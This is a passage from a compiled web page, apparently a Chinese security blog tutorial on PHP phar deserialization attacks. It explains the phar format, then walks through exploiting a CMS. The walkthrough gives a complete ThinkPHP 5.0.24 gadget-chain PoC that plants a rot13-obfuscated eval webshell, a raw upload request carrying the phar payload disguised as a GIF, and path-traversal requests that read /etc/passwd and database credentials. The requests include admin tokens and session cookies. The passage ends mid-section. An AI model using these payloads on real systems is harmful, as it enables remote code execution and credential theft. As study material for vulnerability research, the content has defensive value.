\u88ab\u538b\u7f29\u6587\u4ef6\u7684\u5185\u5bb9\n4. signature (\u53ef\u7a7a)\n \u7b7e\u540d\uff0c\u653e\u5728\u672b\u5c3e\u3002\n"})}),"\n",(0,t.jsx)(e.h3,{id:"23-\u751f\u6210\u4e00\u4e2aphar\u6587\u4ef6",children:"2.3 \u751f\u6210\u4e00\u4e2aphar\u6587\u4ef6"}),"\n",(0,t.jsx)(e.p,{children:"php\u5185\u7f6e\u4e86\u4e00\u4e2aphar\u7c7b\u6765\u5904\u7406\u76f8\u5173\u64cd\u4f5c\u3002"}),"\n",(0,t.jsxs)(e.p,{children:["\u6ce8\u610f\uff1a\u8fd9\u91cc\u8981\u5c06php.ini\u91cc\u9762\u7684",(0,t.jsx)(e.code,{children:"phar.readonly"}),"\u9009\u9879\u8bbe\u7f6e\u4e3a",(0,t.jsx)(e.code,{children:"Off"}),"\u3002",(0,t.jsx)(e.code,{children:"\u5e76\u628a\u5206\u53f7\u53bb\u6389\u3002"})]}),"\n",(0,t.jsx)(e.p,{children:"(\u5982\u679c\u4f60\u5728\u547d\u4ee4\u884c\u8fd0\u884cPHP\u6587\u4ef6\u8fd8\u662f\u65e0\u6cd5\u751f\u6210\u6210\u529f\uff0c\u8bf7\u4f7f\u7528php -v\u67e5\u770bphp\u7248\u672c\u5e76\u5728\u4fee\u6539\u6307\u5b9a\u7248\u672c\u7684php.ini\u3002)"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:'<?php\n class TestObject {\n }\n\n @unlink("phar.phar");\n $phar = new Phar("phar.phar"); //\u540e\u7f00\u540d\u5fc5\u987b\u4e3aphar\n $phar->startBuffering();\n $phar->setStub("<?php __HALT_COMPILER(); ?>"); //\u8bbe\u7f6estub\n $o = new TestObject();\n $phar->setMetadata($o); //\u5c06\u81ea\u5b9a\u4e49\u7684meta-data\u5b58\u5165manifest\n $phar->addFromString("test.txt", "test"); //\u6dfb\u52a0\u8981\u538b\u7f29\u7684\u6587\u4ef6\n //\u7b7e\u540d\u81ea\u52a8\u8ba1\u7b97\n $phar->stopBuffering();\n?>\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u6267\u884c\u8fd9\u4e2aphp\u6587\u4ef6\uff0c\u4f1a\u751f\u6210\u4e00\u4e2aphar.phar\u6587\u4ef6\u3002\u6253\u5f00\u67e5\u770b\u53ef\u4ee5\u770b\u5230Meta-data\u7684\u5185\u5bb9\u662f\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u50a8\u5b58\u7684\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639073.jpg",alt:"shengchengpharphp.jpg"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639074.jpg",alt:"xuliehua.jpg"})}),"\n",(0,t.jsx)(e.p,{children:"php\u5728\u89e3\u6790\u8fd9\u4e2aphar\u7684\u65f6\u5019\uff0c\u8fd8\u4f1a\u5bf9meta-data\u6570\u636e\u8fdb\u884c\u4e00\u6b21\u53cd\u5e8f\u5217\u5316\u3002PHP\u5e95\u5c42\u4ee3\u7801\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639075.png",alt:"phpdiceng.png"})}),"\n",(0,t.jsx)(e.p,{children:"\u901a\u8fc7\u53cd\u5e8f\u5217\u5316\uff0c\u6211\u4eec\u5c31\u80fd\u591f\u63a7\u5236\u4e00\u4e9b\u7c7b\u7684\u53d8\u91cf\u8fdb\u884c\u5229\u7528\u3002"}),"\n",(0,t.jsx)(e.h3,{id:"24-\u6f0f\u6d1e\u5229\u7528\u6761\u4ef6",children:"2.4 \u6f0f\u6d1e\u5229\u7528\u6761\u4ef6"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsx)(e.p,{children:"phar\u6587\u4ef6\u8981\u80fd\u591f\u4e0a\u4f20\u5230\u670d\u52a1\u5668\u7aef\u3002"}),"\n"]}),"\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsx)(e.p,{children:"\u8981\u6709\u53ef\u7528\u7684\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5229\u7528\u94fe\u3002"}),"\n"]}),"\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsxs)(e.p,{children:["\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570\u7684\u53c2\u6570\u53ef\u63a7\uff0c\u4e14",(0,t.jsx)(e.code,{children:":"}),"\u3001",(0,t.jsx)(e.code,{children:"/"}),"\u3001",(0,t.jsx)(e.code,{children:"phar"}),"\u7b49\u7279\u6b8a\u5b57\u7b26\u6ca1\u6709\u88ab\u8fc7\u6ee4\u3002"]}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(e.h3,{id:"25-\u53d7\u5f71\u54cd\u7684\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570",children:"2.5 \u53d7\u5f71\u54cd\u7684\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:"fileatime"}),"\n",(0,t.jsx)(e.li,{children:"file_ put contents"}),"\n",(0,t.jsx)(e.li,{children:"fileinode"}),"\n",(0,t.jsx)(e.li,{children:"is_dir"}),"\n",(0,t.jsx)(e.li,{children:"is_readable"}),"\n",(0,t.jsx)(e.li,{children:"copy"}),"\n",(0,t.jsx)(e.li,{children:"filectime"}),"\n",(0,t.jsx)(e.li,{children:"file"}),"\n",(0,t.jsx)(e.li,{children:"filemtime"}),"\n",(0,t.jsx)(e.li,{children:"is_executable"}),"\n",(0,t.jsx)(e.li,{children:"is_writable"}),"\n",(0,t.jsx)(e.li,{children:"unlink"}),"\n",(0,t.jsx)(e.li,{children:"file_exists"}),"\n",(0,t.jsx)(e.li,{children:"filegroup"}),"\n",(0,t.jsx)(e.li,{children:"fileowner"}),"\n",(0,t.jsx)(e.li,{children:"is_file"}),"\n",(0,t.jsx)(e.li,{children:"is_writeable"}),"\n",(0,t.jsx)(e.li,{children:"stat"}),"\n",(0,t.jsx)(e.li,{children:"file_get_contents"}),"\n",(0,t.jsx)(e.li,{children:"fopen"}),"\n",(0,t.jsx)(e.li,{children:"fileperms"}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"is_link"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"parse_ini_file"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"readfile"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"exif_thumbnail"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"exif_thumbnail"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"imageloadfont"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"imagecreatefrom***"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"hash_hmac_file"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"hash_file"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"hash_update_file"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"md5_file"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"sha1_file"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"get_meta_tags"})}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"get_headers"}),"\uff08\u8fd9\u4e2a\u4e0d\u592a\u786e\u5b9a\u6ca1\u8bd5\u51fa\u6765\uff09"]}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"getimagesize"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"getimagesizefromstring"})}),"\n",(0,t.jsx)(e.li,{children:"postgres"}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:'<?php\n$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));\n@$pdo->pgsqlCopyFromFile(\'aa\', \'phar://test.phar/aa\');\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u5f53\u7136\uff0c",(0,t.jsx)(e.code,{children:"pgsqlCopyToFile"}),"\u548c",(0,t.jsx)(e.code,{children:"pg_trace"}),"\u540c\u6837\u4e5f\u662f\u80fd\u4f7f\u7528\u7684\uff0c\u53ea\u662f\u5b83\u4eec\u9700\u8981\u5f00\u542fphar\u7684\u5199\u529f\u80fd\u3002"]}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:"mysql"}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:"<?php\nclass A {\n public $s = '';\n public function __wakeup () {\n system($this->s);\n }\n}\n$m = mysqli_init();\nmysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);\n$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);\n$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \\'phar://test.phar/test\\' INTO TABLE a LINES TERMINATED BY \\'\\r\\n\\' IGNORE 1 LINES;');\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u518d\u914d\u7f6e\u4e00\u4e0bmysqld\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-ini",children:'[mysqld]\nlocal-infile=1\nsecure_file_priv=""\n'})}),"\n",(0,t.jsx)(e.h2,{id:"3-\u6f0f\u6d1e\u7684\u5229\u7528\u5b9e\u4f8b",children:"3. \u6f0f\u6d1e\u7684\u5229\u7528\u5b9e\u4f8b"}),"\n",(0,t.jsx)(e.h3,{id:"31-\u7b80\u5355\u6848\u4f8b",children:"3.1 \u7b80\u5355\u6848\u4f8b"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:'// phar.php\n<?php\n class TestObject {\n }\n $phar = new Phar("phar.phar"); //\u540e\u7f00\u540d\u5fc5\u987b\u4e3aphar\n $phar->startBuffering();\n $phar->setStub("<?php __HALT_COMPILER(); ?>"); //\u8bbe\u7f6estub\n $o = new TestObject();\n $o -> name=\'Threezh1\'; //\u63a7\u5236TestObject\u4e2d\u7684name\u53d8\u91cf\u4e3aThreezh1\n $phar->setMetadata($o); //\u5c06\u81ea\u5b9a\u4e49\u7684meta-data\u5b58\u5165manifest\n $phar->addFromString("test.txt", "test"); //\u6dfb\u52a0\u8981\u538b\u7f29\u7684\u6587\u4ef6\n //\u7b7e\u540d\u81ea\u52a8\u8ba1\u7b97\n $phar->stopBuffering();\n?>\n'})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:'index.php\n<?php\nclass TestObject {\n\tpublic $name;\n\n\tfunction __destruct()\n\t{\n\t\techo $this -> name;\n\t}\n}\nif ($_GET["file"]){\n\tfile_exists($_GET["file"]);\n}\n?>\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u4f7f\u7528",(0,t.jsx)(e.code,{children:"php phar.php"}),"\u751f\u6210",(0,t.jsx)(e.code,{children:"phar.phar"}),"\u6587\u4ef6\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u8bbf\u95ee\uff1a",(0,t.jsx)(e.a,{href:"http://127.0.0.1/index.php?file=phar://phar.phar",children:"http://127.0.0.1/index.php?file=phar://phar.phar"})]}),"\n",(0,t.jsxs)(e.p,{children:["\u8fd4\u56de\uff1a",(0,t.jsx)(e.code,{children:"Threezh1"}),"\u3002 \u53cd\u5e8f\u5217\u5316\u5229\u7528\u6210\u529f\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639076.jpg",alt:"example01.jpg"})}),"\n",(0,t.jsx)(e.h3,{id:"32-\u9a91\u67d0-cms-v3440",children:"3.2 \u9a91\u67d0 CMS v3.44.0"}),"\n",(0,t.jsx)(e.h4,{id:"321-\u5229\u7528\u601d\u8def",children:"3.2.1 \u5229\u7528\u601d\u8def"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.del,{children:"\u4e0b\u9762\u90fd\u662f\u672c\u5730\u767b\u5f55\u540e\u53f0\u6d4b\u8bd5"})}),"\n",(0,t.jsx)(e.p,{children:"\u6d4b\u8bd5\u524d\u9700\u8981\u627e\u5230\u4ee5\u4e0b\u51e0\u4e2a\u5229\u7528\u70b9"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:["\u6709\u6587\u4ef6\u4e0a\u4f20\u7684\u70b9\uff08\u968f\u4fbf\u4e00\u4e2a\u70b9",(0,t.jsx)(e.code,{children:"\u9644\u4ef6\u4e0a\u4f20"}),"\u3001",(0,t.jsx)(e.code,{children:"\u56fe\u7247\u4e0a\u4f20"}),"\uff09"]}),"\n",(0,t.jsxs)(e.li,{children:["\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff08",(0,t.jsx)(e.code,{children:"Thinkphp v5.24.0"})," \u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe\uff09"]}),"\n",(0,t.jsxs)(e.li,{children:["\u6709\u4e00\u4e2a\u89e6\u53d1\u53cd\u5e8f\u5217\u5316\u7684\u5730\u65b9\uff08",(0,t.jsx)(e.code,{children:"\\app\\apiadmin\\controller\\Upgrade::download"}),"\uff09"]}),"\n"]}),"\n",(0,t.jsx)(e.h4,{id:"322-\u6587\u4ef6\u4e0a\u4f20",children:"3.2.2 \u6587\u4ef6\u4e0a\u4f20"}),"\n",(0,t.jsx)(e.p,{children:"\u540e\u53f0\u4e0a\u4f20\u9644\u4ef6\u7684\u70b9"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-http",children:'POST /index.php?s=apiadmin/upload/attach HTTP/1.1\nHost: 127.0.0.1\nContent-Length: 1813\nsec-ch-ua-platform: "macOS"\nadmintoken: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk3NzcwNTEsImV4cCI6MTc0NzU1MzA1MSwiaW5mbyI6eyJpZCI6MSwicm9sZV9pZCI6MX19.owTLJvtFv849uXzNkXmBhI7CITE9XDLTcsOopwnkU_M\nAccept-Language: zh-CN,zh;q=0.9\nsec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary45m5eoX47unvnRrB\nsec-ch-ua-mobile: ?0\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36\nAccept: */*\nOrigin: http://127.0.0.1\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://127.0.0.1/admin/\nAccept-Encoding: gzip, deflate, br\nCookie: thyuu-season=true; device_id=22d7283634e042b8b533e97d0a2c800c; PHPSESSID=q75l1g7qt17b7b7arietc8vu5k; admin_lang=cn; home_lang=cn; navigation-treeClicked-Arr=%5B%5D; imgname_id_upload=1-250211151550F2.jpg; img_id_upload=; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_IS_UPHTML=0; admin-treeClicked-Arr=%5B%5D; admin-treeClicked_All=0; admin-arctreeClicked_All=0; admin-arctreeClicked-Arr=%5B1%2C2%5D; referurl=http%3A%2F%2F127.0.0.1%3A8000%2F; left_menu_2024=0; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26typeid%3D5%26lang%3Dcn; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=3; qscms_visitor=%7B%22utype%22%3A2%2C%22mobile%22%3A%2218111111111%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk1OTUzNTIsImV4cCI6MTc3MDgwNzM1MiwiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoyLCJtb2JpbGUiOiIxODExMTExMTExMSJ9fQ.8tO7sMrNWFTm6HfmP72Ujd-cDUGqOSUSRH6JT5et5BA%22%7D; qscms_access_export=1; qscms_access_delete=1; qscms_access_set_service=1\nConnection: keep-alive\n\n------WebKitFormBoundary45m5eoX47unvnRrB\nContent-Disposition: form-data; name="file"; filename="poc.jpg"\nContent-Type: image/jpeg\n\nGIF<?php __HALT_COMPILER(); ?>\n\x1c\x06\ufffd\ufffd\x01\ufffd\ufffd\ufffd\x11\ufffd\ufffd\ufffd\x01\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\x05\ufffd\ufffdO:27:"think\\process\\pipes\\Windows":1:{s:34:"\ufffdthink\\process\\pipes\\Windows\ufffdfiles";a:1:{i:0;O:17:"think\\model\\Pivot":5:{s:6:"parent";O:20:"think\\console\\Output":2:{s:9:"\ufffd*\ufffdstyles";a:7:{i:0;s:7:"getAttr";i:1;s:4:"info";i:2;s:5:"error";i:3;s:7:"comment";i:4;s:8:"question";i:5;s:9:"highlight";i:6;s:7:"warning";}s:28:"\ufffdthink\\console\\Output\ufffdhandle";O:30:"think\\session\\driver\\Memcached":1:{s:10:"\ufffd*\ufffdhandler";O:23:"think\\cache\\driver\\File":2:{s:10:"\ufffd*\ufffdoptions";a:4:{s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:79:"php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[\'n\']); ?>/../a.php";s:13:"data_compress";b:0;}s:6:"\ufffd*\ufffdtag";s:2:"xx";}}}s:9:"\ufffd*\ufffdappend";a:1:{s:4:"test";s:8:"getError";}s:7:"\ufffd*\ufffddata";a:1:{s:7:"panrent";s:4:"true";}s:8:"\ufffd*\ufffderror";O:27:"think\\model\\relation\\HasOne":5:{s:5:"model";b:0;s:15:"\ufffd*\ufffdselfRelation";b:0;s:9:"\ufffd*\ufffdparent";N;s:8:"\ufffd*\ufffdquery";O:14:"think\\db\\Query":1:{s:8:"\ufffd*\ufffdmodel";O:20:"think\\console\\Output":2:{s:9:"\ufffd*\ufffdstyles";a:7:{i:0;s:7:"getAttr";i:1;s:4:"info";i:2;s:5:"error";i:3;s:7:"comment";i:4;s:8:"question";i:5;s:9:"highlight";i:6;s:7:"warning";}s:28:"\ufffdthink\\console\\Output\ufffdhandle";O:30:"think\\session\\driver\\Memcached":1:{s:10:"\ufffd*\ufffdhandler";O:23:"think\\cache\\driver\\File":2:{s:10:"\ufffd*\ufffdoptions";a:4:{s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:79:"php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[\'n\']); ?>/../a.php";s:13:"data_compress";b:0;}s:6:"\ufffd*\ufffdtag";s:2:"xx";}}}}s:11:"\ufffd*\ufffdbindAttr";a:1:{s:2:"xx";s:2:"xx";}}s:8:"\ufffd*\ufffdmodel";s:4:"test";}}}\b\ufffd\ufffd\ufffdtest.txt\x04\ufffd\ufffd\ufffdd\ufffdg\x04\ufffd\ufffd\ufffd\f~\x7f\u0624\x01\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdtestUxGb\x069#2P;\ufffdT) \ufffd"\ufffd\ufffd\ufffd\ufffd\x02\ufffd\ufffd\ufffdGBMB\n------WebKitFormBoundary45m5eoX47unvnRrB--\n\n'})}),"\n",(0,t.jsx)(e.h4,{id:"323-\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe",children:"3.2.3 \u5b58\u5728\u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe"}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"thinkphp v5.0.24"})," \u5b58\u5728\u4e00\u4e2a\u5229\u7528\u94fe\u80fd\u591f\u76f4\u63a5rce"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639077.png",alt:"image-20250303154302954"})}),"\n",(0,t.jsx)(e.p,{children:"poc"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:"<?php\nnamespace think\\cache\\driver;\n\nclass File {\n protected $options = [];\n protected $tag;\n public function __construct() {\n $this->tag = 'gg';\n $this->options = [\n 'cache_subdir' => false,\n 'prefix' => '',\n 'path' => 'php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[\\'n\\']); ?>/../a.php',\n 'data_compress' => false\n ];\n }\n}\n\nnamespace think\\session\\driver;\nuse think\\cache\\driver\\File;\n\nclass Memcached {\n protected $handler;\n function __construct() {\n $this->handler=new File();\n }\n}\n\nnamespace think\\console;\nuse think\\session\\driver\\Memcached;\n\nclass Output {\n protected $styles = [];\n private $handle;\n function __construct() {\n $this->styles = [\"getAttr\", 'info',\n 'error',\n 'comment',\n 'question',\n 'highlight',\n 'warning'];\n $this->handle = new Memcached();\n }\n}\n\nnamespace think\\db;\nuse think\\console\\Output;\n\nclass Query {\n protected $model;\n function __construct() {\n $this->model = new Output();\n }\n}\n\nnamespace think\\model\\relation;\nuse think\\console\\Output;\nuse think\\db\\Query;\n\nclass HasOne {\n public $model;\n protected $selfRelation;\n protected $parent;\n protected $query;\n protected $bindAttr = [];\n public function __construct() {\n $this->query = new Query(\"xx\", 'think\\console\\Output');\n $this->model = false;\n $this->selfRelation = false;\n $this->bindAttr = [\"xx\" => \"xx\"];\n }}\n\nnamespace think\\model;\nuse think\\console\\Output;\nuse think\\model\\relation\\HasOne;\n\nabstract class Model {\n}\n\nclass Pivot extends Model {\n public $parent;\n protected $append = [];\n protected $data = [];\n protected $error;\n protected $model;\n\n function __construct() {\n $this->parent = new Output();\n $this->error = new HasOne();\n $this->model = \"test\";\n $this->append = [\"test\" => \"getError\"];\n $this->data = [\"panrent\" => \"true\"];\n }\n}\n\nnamespace think\\process\\pipes;\nuse Phar;\nuse think\\model\\Pivot;\n\nclass Windows {\n private $files = [];\n public function __construct() {\n $this->files=[new Pivot()];\n }\n}\n\n$obj = new Windows();\n\n\n$phar = new Phar('poc.phar');\n$phar -> startBuffering(); //\u5f00\u59cb\u7f13\u51b2 Phar \u5199\u64cd\u4f5c\n$phar -> setStub('GIF'.'<?php __HALT_COMPILER();?>'); //\u8bbe\u7f6estub\uff0c\u589e\u52a0gif\u6587\u4ef6\u5934\n$phar ->addFromString('test.txt','test'); //\u8981\u538b\u7f29\u7684\u6587\u4ef6\n$phar -> setMetadata($obj); //\u5c06\u81ea\u5b9a\u4e49meta-data\u5b58\u5165manifest\n$phar -> stopBuffering(); ////\u505c\u6b62\u7f13\u51b2\u5bf9 Phar \u5f52\u6863\u7684\u5199\u5165\u8bf7\u6c42\uff0c\u5e76\u5c06\u66f4\u6539\u4fdd\u5b58\u5230\u78c1\u76d8\n\n\n\n"})}),"\n",(0,t.jsx)(e.h4,{id:"324-\u89e6\u53d1\u53cd\u5e8f\u5217\u5316",children:"3.2.4 \u89e6\u53d1\u53cd\u5e8f\u5217\u5316"}),"\n",(0,t.jsx)(e.p,{children:"\u524d\u9762\u53c8\u5728\u6587\u4e2d\u63d0\u5230phar\u89e6\u53d1\u53cd\u5e8f\u5217\u7684\u65b9\u5f0f\uff0c\u4e0e\u6587\u4ef6\u64cd\u4f5c\u76f8\u5173\u7684\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.code,{children:"\\app\\apiadmin\\controller\\Upgrade::download"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639078.png",alt:"image-20250303154918843"})}),"\n",(0,t.jsxs)(e.p,{children:["\u5728\u8fd9\u4e2a\u65b9\u6cd5\u4e2d\uff0c\u9996\u5148\u4f1a\u6253\u5f00",(0,t.jsx)(e.code,{children:"$path"}),"\uff0c\u5c31\u53ef\u76f4\u63a5\u89e6\u53d1\u53cd\u5e8f\u5217\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639079.png",alt:"image-20250303155019679"})}),"\n",(0,t.jsxs)(e.p,{children:["\u800c\u6b64\u65f6",(0,t.jsx)(e.code,{children:"$path"}),"\uff0c\u6ca1\u6709\u7ecf\u8fc7\u4efb\u4f55\u5904\u7406\uff0c\u5c31\u88ab\u4f20\u5165",(0,t.jsx)(e.code,{children:"$file->download($path, $save_file, false);"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639080.png",alt:"image-20250303155124331"})}),"\n",(0,t.jsx)(e.p,{children:"\u6240\u4ee5\u8fd9\u91cc\u8fd8\u4e00\u4e2a\u6f0f\u6d1e\u5c31\u662f\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6,\u6211\u4eec\u7b80\u5355\u6765\u5229\u7528\u4e00\u4e0b"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-http",children:'GET /index.php?s=/apiadmin/Upgrade/download&path=../../../../../../etc/passwd×tamp= HTTP/1.1\nHost: 127.0.0.1\nsec-ch-ua-platform: "macOS"\nadmintoken: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk3NzcwNTEsImV4cCI6MTc0NzU1MzA1MSwiaW5mbyI6eyJpZCI6MSwicm9sZV9pZCI6MX19.owTLJvtFv849uXzNkXmBhI7CITE9XDLTcsOopwnkU_M\nAccept-Language: zh-CN,zh;q=0.9\nsec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"\nsec-ch-ua-mobile: ?0\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36\nAccept: */*\nOrigin: http://127.0.0.1\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://127.0.0.1/admin/\nAccept-Encoding: gzip, deflate, br\nCookie: thyuu-season=true; device_id=22d7283634e042b8b533e97d0a2c800c; PHPSESSID=q75l1g7qt17b7b7arietc8vu5k; admin_lang=cn; home_lang=cn; navigation-treeClicked-Arr=%5B%5D; imgname_id_upload=1-250211151550F2.jpg; img_id_upload=; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_IS_UPHTML=0; admin-treeClicked-Arr=%5B%5D; admin-treeClicked_All=0; admin-arctreeClicked_All=0; admin-arctreeClicked-Arr=%5B1%2C2%5D; referurl=http%3A%2F%2F127.0.0.1%3A8000%2F; left_menu_2024=0; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26typeid%3D5%26lang%3Dcn; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=3; qscms_visitor=%7B%22utype%22%3A2%2C%22mobile%22%3A%2218111111111%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk1OTUzNTIsImV4cCI6MTc3MDgwNzM1MiwiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoyLCJtb2JpbGUiOiIxODExMTExMTExMSJ9fQ.8tO7sMrNWFTm6HfmP72Ujd-cDUGqOSUSRH6JT5et5BA%22%7D; qscms_access_export=1; qscms_access_delete=1; qscms_access_set_service=1\nConnection: keep-alive\n\n\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u968f\u540e\u8bbf\u95ee",(0,t.jsx)(e.code,{children:"http://127.0.0.1/upgrade/zip/passwd/passwd_.zip"})]}),"\n",(0,t.jsxs)(e.p,{children:["\u5373\u53ef\u83b7\u5f97",(0,t.jsx)(e.code,{children:"/etc/passwd"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639081.png",alt:"image-20250303155254026"})}),"\n",(0,t.jsx)(e.p,{children:"\u5f53\u7136\u8bfb\u6570\u636e\u5e93\u6587\u4ef6\u4e5f\u662f\u53ef\u4ee5\u7684"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-tex",children:"http://127.0.0.1/index.php?s=/apiadmin/Upgrade/download&path=../application/database.php×tamp=\n"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639082.png",alt:"image-20250303155607673"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-tex",children:"http://127.0.0.1/upgrade/zip/database/database_.zip\n"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639083.png",alt:"image-20250303155634100"})}),"\n",(0,t.jsx)(e.h4,{id:"325-\u5229\u7528\u8fc7\u7a0b",children:"3.2.5 